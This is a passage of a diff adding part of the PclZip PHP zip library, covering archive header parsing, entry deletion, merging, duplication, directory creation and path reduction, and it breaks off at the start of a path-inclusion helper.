+    // ----- Look for invalid block size
+    if (strlen($v_binary_data) != 42)
+    {
+      $p_header['filename'] = "";
+      $p_header['status'] = "invalid_header";
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Extract the values
+    $p_header = unpack('vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $v_binary_data);
+
+    // ----- Get filename
+    if ($p_header['filename_len'] != 0)
+      $p_header['filename'] = fread($this->zip_fd, $p_header['filename_len']);
+    else
+      $p_header['filename'] = '';
+
+    // ----- Get extra
+    if ($p_header['extra_len'] != 0)
+      $p_header['extra'] = fread($this->zip_fd, $p_header['extra_len']);
+    else
+      $p_header['extra'] = '';
+
+    // ----- Get comment
+    if ($p_header['comment_len'] != 0)
+      $p_header['comment'] = fread($this->zip_fd, $p_header['comment_len']);
+    else
+      $p_header['comment'] = '';
+
+    // ----- Extract properties
+
+    // ----- Recuperate date in UNIX format
+    //if ($p_header['mdate'] && $p_header['mtime'])
+    // TBC : bug : this was ignoring time with 0/0/0
+    if (1)
+    {
+      // ----- Extract time
+      $v_hour = ($p_header['mtime'] & 0xF800) >> 11;
+      $v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
+      $v_seconde = ($p_header['mtime'] & 0x001F)*2;
+
+      // ----- Extract date
+      $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
+      $v_month = ($p_header['mdate'] & 0x01E0) >> 5;
+      $v_day = $p_header['mdate'] & 0x001F;
+
+      // ----- Get UNIX date format
+      $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);
+
+    }
+    else
+    {
+      $p_header['mtime'] = time();
+    }
+
+    // ----- Set the stored filename
+    $p_header['stored_filename'] = $p_header['filename'];
+
+    // ----- Set default status to ok
+    $p_header['status'] = 'ok';
+
+    // ----- Look if it is a directory
+    if (substr($p_header['filename'], -1) == '/') {
+      //$p_header['external'] = 0x41FF0010;
+      $p_header['external'] = 0x00000010;
+    }
+
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privCheckFileHeaders()
+  // Description :
+  // Parameters :
+  // Return Values :
+  //   1 on success,
+  //   0 on error;
+  // --------------------------------------------------------------------------------
+  function privCheckFileHeaders(&$p_local_header, &$p_central_header)
+  {
+    $v_result=1;
+
+  	// ----- Check the static values
+  	// TBC
+  	if ($p_local_header['filename'] != $p_central_header['filename']) {
+  	}
+  	if ($p_local_header['version_extracted'] != $p_central_header['version_extracted']) {
+  	}
+  	if ($p_local_header['flag'] != $p_central_header['flag']) {
+  	}
+  	if ($p_local_header['compression'] != $p_central_header['compression']) {
+  	}
+  	if ($p_local_header['mtime'] != $p_central_header['mtime']) {
+  	}
+  	if ($p_local_header['filename_len'] != $p_central_header['filename_len']) {
+  	}
+
+  	// ----- Look for flag bit 3
+  	if (($p_local_header['flag'] & 8) == 8) {
+          $p_local_header['size'] = $p_central_header['size'];
+          $p_local_header['compressed_size'] = $p_central_header['compressed_size'];
+          $p_local_header['crc'] = $p_central_header['crc'];
+  	}
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privReadEndCentralDir()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privReadEndCentralDir(&$p_central_dir)
+  {
+    $v_result=1;
+
+    // ----- Go to the end of the zip file
+    $v_size = filesize($this->zipname);
+    @fseek($this->zip_fd, $v_size);
+    if (@ftell($this->zip_fd) != $v_size)
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to go to the end of the archive \''.$this->zipname.'\'');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- First try : look if this is an archive with no commentaries (most of the time)
+    // in this case the end of central dir is at 22 bytes of the file end
+    $v_found = 0;
+    if ($v_size > 26) {
+      @fseek($this->zip_fd, $v_size-22);
+      if (($v_pos = @ftell($this->zip_fd)) != ($v_size-22))
+      {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');
+
+        // ----- Return
+        return PclZip::errorCode();
+      }
+
+      // ----- Read for bytes
+      $v_binary_data = @fread($this->zip_fd, 4);
+      $v_data = @unpack('Vid', $v_binary_data);
+
+      // ----- Check signature
+      if ($v_data['id'] == 0x06054b50) {
+        $v_found = 1;
+      }
+
+      $v_pos = ftell($this->zip_fd);
+    }
+
+    // ----- Go back to the maximum possible size of the Central Dir End Record
+    if (!$v_found) {
+      $v_maximum_size = 65557; // 0xFFFF + 22;
+      if ($v_maximum_size > $v_size)
+        $v_maximum_size = $v_size;
+      @fseek($this->zip_fd, $v_size-$v_maximum_size);
+      if (@ftell($this->zip_fd) != ($v_size-$v_maximum_size))
+      {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');
+
+        // ----- Return
+        return PclZip::errorCode();
+      }
+
+      // ----- Read byte per byte in order to find the signature
+      $v_pos = ftell($this->zip_fd);
+      $v_bytes = 0x00000000;
+      while ($v_pos < $v_size)
+      {
+        // ----- Read a byte
+        $v_byte = @fread($this->zip_fd, 1);
+
+        // -----  Add the byte
+        //$v_bytes = ($v_bytes << 8) | Ord($v_byte);
+        // Note we mask the old value down such that once shifted we can never end up with more than a 32bit number
+        // Otherwise on systems where we have 64bit integers the check below for the magic number will fail.
+        $v_bytes = ( ($v_bytes & 0xFFFFFF) << 8) | Ord($v_byte);
+
+        // ----- Compare the bytes
+        if ($v_bytes == 0x504b0506)
+        {
+          $v_pos++;
+          break;
+        }
+
+        $v_pos++;
+      }
+
+      // ----- Look if not found end of central dir
+      if ($v_pos == $v_size)
+      {
+
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Unable to find End of Central Dir Record signature");
+
+        // ----- Return
+        return PclZip::errorCode();
+      }
+    }
+
+    // ----- Read the first 18 bytes of the header
+    $v_binary_data = fread($this->zip_fd, 18);
+
+    // ----- Look for invalid block size
+    if (strlen($v_binary_data) != 18)
+    {
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid End of Central Dir Record size : ".strlen($v_binary_data));
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Extract the values
+    $v_data = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', $v_binary_data);
+
+    // ----- Check the global size
+    if (($v_pos + $v_data['comment_size'] + 18) != $v_size) {
+
+	  // ----- Removed in release 2.2 see readme file
+	  // The check of the file size is a little too strict.
+	  // Some bugs where found when a zip is encrypted/decrypted with 'crypt'.
+	  // While decrypted, zip has training 0 bytes
+	  if (0) {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT,
+	                       'The central dir is not at the end of the archive.'
+						   .' Some trailing bytes exists after the archive.');
+
+      // ----- Return
+      return PclZip::errorCode();
+	  }
+    }
+
+    // ----- Get comment
+    if ($v_data['comment_size'] != 0) {
+      $p_central_dir['comment'] = fread($this->zip_fd, $v_data['comment_size']);
+    }
+    else
+      $p_central_dir['comment'] = '';
+
+    $p_central_dir['entries'] = $v_data['entries'];
+    $p_central_dir['disk_entries'] = $v_data['disk_entries'];
+    $p_central_dir['offset'] = $v_data['offset'];
+    $p_central_dir['size'] = $v_data['size'];
+    $p_central_dir['disk'] = $v_data['disk'];
+    $p_central_dir['disk_start'] = $v_data['disk_start'];
+
+    // TBC
+    //for(reset($p_central_dir); $key = key($p_central_dir); next($p_central_dir)) {
+    //}
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privDeleteByRule()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privDeleteByRule(&$p_result_list, &$p_options)
+  {
+    $v_result=1;
+    $v_list_detail = array();
+
+    // ----- Open the zip file
+    if (($v_result=$this->privOpenFd('rb')) != 1)
+    {
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      $this->privCloseFd();
+      return $v_result;
+    }
+
+    // ----- Go to beginning of File
+    @rewind($this->zip_fd);
+
+    // ----- Scan all the files
+    // ----- Start at beginning of Central Dir
+    $v_pos_entry = $v_central_dir['offset'];
+    @rewind($this->zip_fd);
+    if (@fseek($this->zip_fd, $v_pos_entry))
+    {
+      // ----- Close the zip file
+      $this->privCloseFd();
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Read each entry
+    $v_header_list = array();
+    $j_start = 0;
+    for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
+    {
+
+      // ----- Read the file header
+      $v_header_list[$v_nb_extracted] = array();
+      if (($v_result = $this->privReadCentralFileHeader($v_header_list[$v_nb_extracted])) != 1)
+      {
+        // ----- Close the zip file
+        $this->privCloseFd();
+
+        return $v_result;
+      }
+
+
+      // ----- Store the index
+      $v_header_list[$v_nb_extracted]['index'] = $i;
+
+      // ----- Look for the specific extract rules
+      $v_found = false;
+
+      // ----- Look for extract by name rule
+      if (   (isset($p_options[PCLZIP_OPT_BY_NAME]))
+          && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {
+
+          // ----- Look if the filename is in the list
+          for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_found); $j++) {
+
+              // ----- Look for a directory
+              if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {
+
+                  // ----- Look if the directory is in the filename path
+                  if (   (strlen($v_header_list[$v_nb_extracted]['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
+                      && (substr($v_header_list[$v_nb_extracted]['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
+                      $v_found = true;
+                  }
+                  elseif (   (($v_header_list[$v_nb_extracted]['external']&0x00000010)==0x00000010) /* Indicates a folder */
+                          && ($v_header_list[$v_nb_extracted]['stored_filename'].'/' == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
+                      $v_found = true;
+                  }
+              }
+              // ----- Look for a filename
+              elseif ($v_header_list[$v_nb_extracted]['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
+                  $v_found = true;
+              }
+          }
+      }
+
+      // ----- Look for extract by ereg rule
+      // ereg() is deprecated with PHP 5.3
+      /*
+      else if (   (isset($p_options[PCLZIP_OPT_BY_EREG]))
+               && ($p_options[PCLZIP_OPT_BY_EREG] != "")) {
+
+          if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header_list[$v_nb_extracted]['stored_filename'])) {
+              $v_found = true;
+          }
+      }
+      */
+
+      // ----- Look for extract by preg rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_PREG]))
+               && ($p_options[PCLZIP_OPT_BY_PREG] != "")) {
+
+          if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header_list[$v_nb_extracted]['stored_filename'])) {
+              $v_found = true;
+          }
+      }
+
+      // ----- Look for extract by index rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_INDEX]))
+               && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {
+
+          // ----- Look if the index is in the list
+          for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_found); $j++) {
+
+              if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
+                  $v_found = true;
+              }
+              if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
+                  $j_start = $j+1;
+              }
+
+              if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
+                  break;
+              }
+          }
+      }
+      else {
+      	$v_found = true;
+      }
+
+      // ----- Look for deletion
+      if ($v_found)
+      {
+        unset($v_header_list[$v_nb_extracted]);
+      }
+      else
+      {
+        $v_nb_extracted++;
+      }
+    }
+
+    // ----- Look if something need to be deleted
+    if ($v_nb_extracted > 0) {
+
+        // ----- Creates a temporay file
+        $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
+
+        // ----- Creates a temporary zip archive
+        $v_temp_zip = new PclZip($v_zip_temp_name);
+
+        // ----- Open the temporary zip file in write mode
+        if (($v_result = $v_temp_zip->privOpenFd('wb')) != 1) {
+            $this->privCloseFd();
+
+            // ----- Return
+            return $v_result;
+        }
+
+        // ----- Look which file need to be kept
+        for ($i=0; $i<sizeof($v_header_list); $i++) {
+
+            // ----- Calculate the position of the header
+            @rewind($this->zip_fd);
+            if (@fseek($this->zip_fd,  $v_header_list[$i]['offset'])) {
+                // ----- Close the zip file
+                $this->privCloseFd();
+                $v_temp_zip->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Error log
+                PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+                // ----- Return
+                return PclZip::errorCode();
+            }
+
+            // ----- Read the file header
+            $v_local_header = array();
+            if (($v_result = $this->privReadFileHeader($v_local_header)) != 1) {
+                // ----- Close the zip file
+                $this->privCloseFd();
+                $v_temp_zip->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Return
+                return $v_result;
+            }
+
+            // ----- Check that local file header is same as central file header
+            if ($this->privCheckFileHeaders($v_local_header,
+			                                $v_header_list[$i]) != 1) {
+                // TBC
+            }
+            unset($v_local_header);
+
+            // ----- Write the file header
+            if (($v_result = $v_temp_zip->privWriteFileHeader($v_header_list[$i])) != 1) {
+                // ----- Close the zip file
+                $this->privCloseFd();
+                $v_temp_zip->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Return
+                return $v_result;
+            }
+
+            // ----- Read/write the data block
+            if (($v_result = PclZipUtilCopyBlock($this->zip_fd, $v_temp_zip->zip_fd, $v_header_list[$i]['compressed_size'])) != 1) {
+                // ----- Close the zip file
+                $this->privCloseFd();
+                $v_temp_zip->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Return
+                return $v_result;
+            }
+        }
+
+        // ----- Store the offset of the central dir
+        $v_offset = @ftell($v_temp_zip->zip_fd);
+
+        // ----- Re-Create the Central Dir files header
+        for ($i=0; $i<sizeof($v_header_list); $i++) {
+            // ----- Create the file header
+            if (($v_result = $v_temp_zip->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
+                $v_temp_zip->privCloseFd();
+                $this->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Return
+                return $v_result;
+            }
+
+            // ----- Transform the header to a 'usable' info
+            $v_temp_zip->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
+        }
+
+
+        // ----- Zip file comment
+        $v_comment = '';
+        if (isset($p_options[PCLZIP_OPT_COMMENT])) {
+          $v_comment = $p_options[PCLZIP_OPT_COMMENT];
+        }
+
+        // ----- Calculate the size of the central header
+        $v_size = @ftell($v_temp_zip->zip_fd)-$v_offset;
+
+        // ----- Create the central dir footer
+        if (($v_result = $v_temp_zip->privWriteCentralHeader(sizeof($v_header_list), $v_size, $v_offset, $v_comment)) != 1) {
+            // ----- Reset the file list
+            unset($v_header_list);
+            $v_temp_zip->privCloseFd();
+            $this->privCloseFd();
+            @unlink($v_zip_temp_name);
+
+            // ----- Return
+            return $v_result;
+        }
+
+        // ----- Close
+        $v_temp_zip->privCloseFd();
+        $this->privCloseFd();
+
+        // ----- Delete the zip file
+        // TBC : I should test the result ...
+        @unlink($this->zipname);
+
+        // ----- Rename the temporary file
+        // TBC : I should test the result ...
+        //@rename($v_zip_temp_name, $this->zipname);
+        PclZipUtilRename($v_zip_temp_name, $this->zipname);
+
+        // ----- Destroy the temporary archive
+        unset($v_temp_zip);
+    }
+
+    // ----- Remove every files : reset the file
+    else if ($v_central_dir['entries'] != 0) {
+        $this->privCloseFd();
+
+        if (($v_result = $this->privOpenFd('wb')) != 1) {
+          return $v_result;
+        }
+
+        if (($v_result = $this->privWriteCentralHeader(0, 0, 0, '')) != 1) {
+          return $v_result;
+        }
+
+        $this->privCloseFd();
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privDirCheck()
+  // Description :
+  //   Check if a directory exists, if not it creates it and all the parents directory
+  //   which may be useful.
+  // Parameters :
+  //   $p_dir : Directory path to check.
+  // Return Values :
+  //    1 : OK
+  //   -1 : Unable to create directory
+  // --------------------------------------------------------------------------------
+  function privDirCheck($p_dir, $p_is_dir=false)
+  {
+    $v_result = 1;
+
+
+    // ----- Remove the final '/'
+    if (($p_is_dir) && (substr($p_dir, -1)=='/'))
+    {
+      $p_dir = substr($p_dir, 0, strlen($p_dir)-1);
+    }
+
+    // ----- Check the directory availability
+    if ((is_dir($p_dir)) || ($p_dir == ""))
+    {
+      return 1;
+    }
+
+    // ----- Extract parent directory
+    $p_parent_dir = dirname($p_dir);
+
+    // ----- Just a check
+    if ($p_parent_dir != $p_dir)
+    {
+      // ----- Look for parent directory
+      if ($p_parent_dir != "")
+      {
+        if (($v_result = $this->privDirCheck($p_parent_dir)) != 1)
+        {
+          return $v_result;
+        }
+      }
+    }
+
+    // ----- Create the directory
+    if (!@mkdir($p_dir, 0777))
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_DIR_CREATE_FAIL, "Unable to create directory '$p_dir'");
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privMerge()
+  // Description :
+  //   If $p_archive_to_add does not exist, the function exit with a success result.
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privMerge(&$p_archive_to_add)
+  {
+    $v_result=1;
+
+    // ----- Look if the archive_to_add exists
+    if (!is_file($p_archive_to_add->zipname))
+    {
+
+      // ----- Nothing to merge, so merge is a success
+      $v_result = 1;
+
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Look if the archive exists
+    if (!is_file($this->zipname))
+    {
+
+      // ----- Do a duplicate
+      $v_result = $this->privDuplicate($p_archive_to_add->zipname);
+
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Open the zip file
+    if (($v_result=$this->privOpenFd('rb')) != 1)
+    {
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      $this->privCloseFd();
+      return $v_result;
+    }
+
+    // ----- Go to beginning of File
+    @rewind($this->zip_fd);
+
+    // ----- Open the archive_to_add file
+    if (($v_result=$p_archive_to_add->privOpenFd('rb')) != 1)
+    {
+      $this->privCloseFd();
+
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir_to_add = array();
+    if (($v_result = $p_archive_to_add->privReadEndCentralDir($v_central_dir_to_add)) != 1)
+    {
+      $this->privCloseFd();
+      $p_archive_to_add->privCloseFd();
+
+      return $v_result;
+    }
+
+    // ----- Go to beginning of File
+    @rewind($p_archive_to_add->zip_fd);
+
+    // ----- Creates a temporay file
+    $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
+
+    // ----- Open the temporary file in write mode
+    if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
+    {
+      $this->privCloseFd();
+      $p_archive_to_add->privCloseFd();
+
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Copy the files from the archive to the temporary file
+    // TBC : Here I should better append the file and go back to erase the central dir
+    $v_size = $v_central_dir['offset'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = fread($this->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Copy the files from the archive_to_add into the temporary file
+    $v_size = $v_central_dir_to_add['offset'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = fread($p_archive_to_add->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Store the offset of the central dir
+    $v_offset = @ftell($v_zip_temp_fd);
+
+    // ----- Copy the block of file headers from the old archive
+    $v_size = $v_central_dir['size'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = @fread($this->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Copy the block of file headers from the archive_to_add
+    $v_size = $v_central_dir_to_add['size'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = @fread($p_archive_to_add->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Merge the file comments
+    $v_comment = $v_central_dir['comment'].' '.$v_central_dir_to_add['comment'];
+
+    // ----- Calculate the size of the (new) central header
+    $v_size = @ftell($v_zip_temp_fd)-$v_offset;
+
+    // ----- Swap the file descriptor
+    // Here is a trick : I swap the temporary fd with the zip fd, in order to use
+    // the following methods on the temporary fil and not the real archive fd
+    $v_swap = $this->zip_fd;
+    $this->zip_fd = $v_zip_temp_fd;
+    $v_zip_temp_fd = $v_swap;
+
+    // ----- Create the central dir footer
+    if (($v_result = $this->privWriteCentralHeader($v_central_dir['entries']+$v_central_dir_to_add['entries'], $v_size, $v_offset, $v_comment)) != 1)
+    {
+      $this->privCloseFd();
+      $p_archive_to_add->privCloseFd();
+      @fclose($v_zip_temp_fd);
+      $this->zip_fd = null;
+
+      // ----- Reset the file list
+      unset($v_header_list);
+
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Swap back the file descriptor
+    $v_swap = $this->zip_fd;
+    $this->zip_fd = $v_zip_temp_fd;
+    $v_zip_temp_fd = $v_swap;
+
+    // ----- Close
+    $this->privCloseFd();
+    $p_archive_to_add->privCloseFd();
+
+    // ----- Close the temporary file
+    @fclose($v_zip_temp_fd);
+
+    // ----- Delete the zip file
+    // TBC : I should test the result ...
+    @unlink($this->zipname);
+
+    // ----- Rename the temporary file
+    // TBC : I should test the result ...
+    //@rename($v_zip_temp_name, $this->zipname);
+    PclZipUtilRename($v_zip_temp_name, $this->zipname);
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privDuplicate()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privDuplicate($p_archive_filename)
+  {
+    $v_result=1;
+
+    // ----- Look if the $p_archive_filename exists
+    if (!is_file($p_archive_filename))
+    {
+
+      // ----- Nothing to duplicate, so duplicate is a success.
+      $v_result = 1;
+
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Open the zip file
+    if (($v_result=$this->privOpenFd('wb')) != 1)
+    {
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Open the temporary file in write mode
+    if (($v_zip_temp_fd = @fopen($p_archive_filename, 'rb')) == 0)
+    {
+      $this->privCloseFd();
+
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive file \''.$p_archive_filename.'\' in binary write mode');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Copy the files from the archive to the temporary file
+    // TBC : Here I should better append the file and go back to erase the central dir
+    $v_size = filesize($p_archive_filename);
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = fread($v_zip_temp_fd, $v_read_size);
+      @fwrite($this->zip_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Close
+    $this->privCloseFd();
+
+    // ----- Close the temporary file
+    @fclose($v_zip_temp_fd);
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privErrorLog()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function privErrorLog($p_error_code=0, $p_error_string='')
+  {
+    if (PCLZIP_ERROR_EXTERNAL == 1) {
+      PclError($p_error_code, $p_error_string);
+    }
+    else {
+      $this->error_code = $p_error_code;
+      $this->error_string = $p_error_string;
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privErrorReset()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function privErrorReset()
+  {
+    if (PCLZIP_ERROR_EXTERNAL == 1) {
+      PclErrorReset();
+    }
+    else {
+      $this->error_code = 0;
+      $this->error_string = '';
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privDisableMagicQuotes()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privDisableMagicQuotes()
+  {
+    $v_result=1;
+
+    // ----- Look if function exists
+    if (   (!function_exists("get_magic_quotes_runtime"))
+	    || (!function_exists("set_magic_quotes_runtime"))) {
+      return $v_result;
+	}
+
+    // ----- Look if already done
+    if ($this->magic_quotes_status != -1) {
+      return $v_result;
+	}
+
+	// ----- Get and memorize the magic_quote value
+	$this->magic_quotes_status = @get_magic_quotes_runtime();
+
+	// ----- Disable magic_quotes
+	if ($this->magic_quotes_status == 1) {
+	  @set_magic_quotes_runtime(0);
+	}
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privSwapBackMagicQuotes()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privSwapBackMagicQuotes()
+  {
+    $v_result=1;
+
+    // ----- Look if function exists
+    if (   (!function_exists("get_magic_quotes_runtime"))
+	    || (!function_exists("set_magic_quotes_runtime"))) {
+      return $v_result;
+	}
+
+    // ----- Look if something to do
+    if ($this->magic_quotes_status != -1) {
+      return $v_result;
+	}
+
+	// ----- Swap back magic_quotes
+	if ($this->magic_quotes_status == 1) {
+  	  @set_magic_quotes_runtime($this->magic_quotes_status);
+	}
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  }
+  // End of class
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilPathReduction()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function PclZipUtilPathReduction($p_dir)
+  {
+    $v_result = "";
+
+    // ----- Look for not empty path
+    if ($p_dir != "") {
+      // ----- Explode path by directory names
+      $v_list = explode("/", $p_dir);
+
+      // ----- Study directories from last to first
+      $v_skip = 0;
+      for ($i=sizeof($v_list)-1; $i>=0; $i--) {
+        // ----- Look for current path
+        if ($v_list[$i] == ".") {
+          // ----- Ignore this directory
+          // Should be the first $i=0, but no check is done
+        }
+        else if ($v_list[$i] == "..") {
+		  $v_skip++;
+        }
+        else if ($v_list[$i] == "") {
+		  // ----- First '/' i.e. root slash
+		  if ($i == 0) {
+            $v_result = "/".$v_result;
+		    if ($v_skip > 0) {
+		        // ----- It is an invalid path, so the path is not modified
+		        // TBC
+		        $v_result = $p_dir;
+                $v_skip = 0;
+		    }
+		  }
+		  // ----- Last '/' i.e. indicates a directory
+		  else if ($i == (sizeof($v_list)-1)) {
+            $v_result = $v_list[$i];
+		  }
+		  // ----- Double '/' inside the path
+		  else {
+            // ----- Ignore only the double '//' in path,
+            // but not the first and last '/'
+		  }
+        }
+        else {
+		  // ----- Look for item to skip
+		  if ($v_skip > 0) {
+		    $v_skip--;
+		  }
+		  else {
+            $v_result = $v_list[$i].($i!=(sizeof($v_list)-1)?"/".$v_result:"");
+		  }
+        }
+      }
+
+      // ----- Look for skip
+      if ($v_skip > 0) {
+        while ($v_skip > 0) {
+            $v_result = '../'.$v_result;
+            $v_skip--;
+        }
+      }
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilPathInclusion()
+  // Description :
